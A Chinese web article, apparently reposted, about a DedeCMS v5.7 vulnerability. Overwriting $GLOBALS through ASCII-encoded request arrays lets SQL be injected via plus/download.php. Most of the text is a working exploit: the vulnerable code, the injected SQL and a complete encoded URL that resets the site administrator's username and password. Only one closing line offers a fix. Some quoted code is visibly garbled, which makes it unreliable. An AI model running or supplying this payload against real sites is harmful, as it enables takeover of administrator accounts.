本文实例讲述了dedecms修改任意管理员漏洞处理方法。分享给大家供大家参考。具体分析如下:
织梦DEDECMS是全国用到最多的cms系统了,正由于用得人多而且是开源的代码,所以分析人也多bug出现不少,根据小编总结出现bug大多是在变量上,这次又是全局变量$GLOBALS可以被任意修改导致的,下面来给各位演示这个bug与处理方法.
漏洞版本:dedecms v5.7
漏洞描述:起因是全局变量$GLOBALS可以被任意修改,以下举一例,代码如下:
复制代码代码如下:// include/dedesql.class.php
if(isset($GLOBALS<'arrs1'>))
{
$v1 = $v2 = '';
for($i=0;isset($arrs1<$i>);$i++)
{
$v1 .= chr($arrs1<$i>);
}
for($i=0;isset($arrs2<$i>);$i++)
{
$v2 .= chr($arrs2<$i>); //解码ascii
}
$GLOBALS<$v1> .= $v2; www.jb51.net//注意这里不是覆盖,是+
}
function SetQuery($sql)
{
$prefix="dede_";
$sql = str_replace($prefix,$GLOBALS<'cfg_dbprefix'>,$sql);
$this->queryString = $sql;
}
下面说下绕过80sec防注入的方法.
同一文件中,有两个执行SQL的函数,ExecuteNoneQuery和ExecuteNoneQuery2
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件,代码如下:
复制代码代码如下:// plus/download.php
else if($open==1)
{
$id = isset($id) && is_numeric($id) ? $id : 0;
$link = base64_decode(urldecode($link));
$hash = md5($link);
//这里的#@_是可以控制的
$rs = $dsql->ExecuteNoneQuery2("UPDATE `dede_downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");
if($rs ExecNoneQuery($query);
}
header("location:$link");
exit();
}
构造SQL语句(提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc),代码如下:
复制代码代码如下:admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #
完整SQL语句,代码如下:
复制代码代码如下:UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash'
测试方法,代码如下:
复制代码代码如下:// 本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
http://localhost/plus/download.php?open=1&arrs1<>=99&arrs1<>=102&arrs1<>=103&arrs1<>=95&arrs1<>=100&arrs1<>=98&arrs1<>=112&arrs1<>=114&arrs1<>=101&arrs1<>=102&arrs1<>=105&arrs1<>=120&arrs2<>=97&arrs2<>=100&arrs2<>=109&arrs2<>=105&arrs2<>=110&arrs2<>=96&arrs2<>=32&arrs2<>=83&arrs2<>=69&arrs2<>=84&arrs2<>=32&arrs2<>=96&arrs2<>=117&arrs2<>=115&arrs2<>=101&arrs2<>=114&arrs2<>=105&arrs2<>=100&arrs2<>=96&arrs2<>=61&arrs2<>=39&arrs2<>=115&arrs2<>=112&arrs2<>=105&arrs2<>=100&arrs2<>=101&arrs2<>=114&arrs2<>=39&arrs2<>=44&arrs2<>=32&arrs2<>=96&arrs2<>=112&arrs2<>=119&arrs2<>=100&arrs2<>=96&arrs2<>=61&arrs2<>=39&arrs2<>=102&arrs2<>=50&arrs2<>=57&arrs2<>=55&arrs2<>=97&arrs2<>=53&arrs2<>=55&arrs2<>=97&arrs2<>=53&arrs2<>=97&arrs2<>=55&arrs2<>=52&arrs2<>=51&arrs2<>=56&arrs2<>=57&arrs2<>=52&arrs2<>=97&arrs2<>=48&arrs2<>=101&arrs2<>=52&arrs2<>=39&arrs2<>=32&arrs2<>=119&arrs2<>=104&arrs2<>=101&arrs2<>=114&arrs2<>=101&arrs2<>=32&arrs2<>=105&arrs2<>=100&arrs2<>=61&arrs2<>=49&arrs2<>=32&arrs2<>=35
如果不出问题,后台登录用户spider密码admin
安全建议:将应用到ExecuteNoneQuery2函数的文件均改为使用ExecuteNoneQuery函数并且根据情况,调试程序尽可能不要爆出绝对路径地址.
希望本文所述对大家的dedecms建站有所帮助。
文章来源